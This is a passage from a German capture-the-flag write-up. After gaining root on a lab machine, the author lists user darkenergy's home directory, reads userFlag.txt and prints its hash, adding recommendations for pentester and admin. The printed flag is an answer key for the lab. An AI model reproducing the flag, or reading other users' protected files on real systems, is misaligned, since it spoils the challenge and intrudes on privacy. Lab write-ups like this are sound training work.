Empfehlung (Admin): Ändere das Root-Passwort. Stelle sicher, dass `/root/` und seine Inhalte nur für Root zugänglich sind. Entferne unnötige Dateien wie `important.txt`.
Nachdem Root-Zugriff erlangt wurde, konnte ich auch die User Flag lokalisieren und auslesen.
# ls -la /home/darkenergy total 36 drwx------ 3 darkenergy darkenergy 4096 Nov 21 2021 . drwxr-xr-x 3 root root 4096 Nov 10 2021 .. lrwxrwxrwx 1 root root 9 Nov 14 2021 .bash_history -> /dev/null -rw-r--r-- 1 darkenergy darkenergy 220 Nov 10 2021 .bash_logout -rw-r--r-- 1 darkenergy darkenergy 3526 Nov 10 2021 .bashrc drwxr-xr-x 3 darkenergy darkenergy 4096 Nov 10 2021 .local -rw-r--r-- 1 darkenergy darkenergy 807 Nov 10 2021 .profile -rw-r--r-- 1 root root 99 Nov 14 2021 .secretNote.kdbx -rw-r--r-- 1 root root 2222 Nov 14 2021 secretPass.kdbx -r-------- 1 darkenergy darkenergy 33 Nov 14 2021 userFlag.txt # cat /home/darkenergy/userFlag.txt 4811162d4b5326c7432d29429ca6491b
Analyse: Mit Root-Berechtigungen konnte ich nun das Home-Verzeichnis des Benutzers `darkenergy` einsehen (`ls -la /home/darkenergy/`). Die Auflistung zeigte eine Datei namens `userFlag.txt`. Die Berechtigungen (`-r--------`) zeigen, dass nur der Besitzer (`darkenergy`) die Datei lesen darf. Als Root konnte ich die Datei dennoch mit `cat /home/darkenergy/userFlag.txt` auslesen. Der Inhalt ist die Zeichenkette `4811162d4b5326c7432d29429ca6491b`.
Bewertung: Dies ist die User Flag. Sie war, wie oft üblich, im Home-Verzeichnis des Benutzers gespeichert. Die Berechtigungen waren restriktiv, aber Root kann sie natürlich umgehen.
Empfehlung (Pentester): Speichere die User Flag.
Empfehlung (Admin): Stelle sicher, dass Flags (auch User Flags) nicht auf Produktionssystemen verbleiben.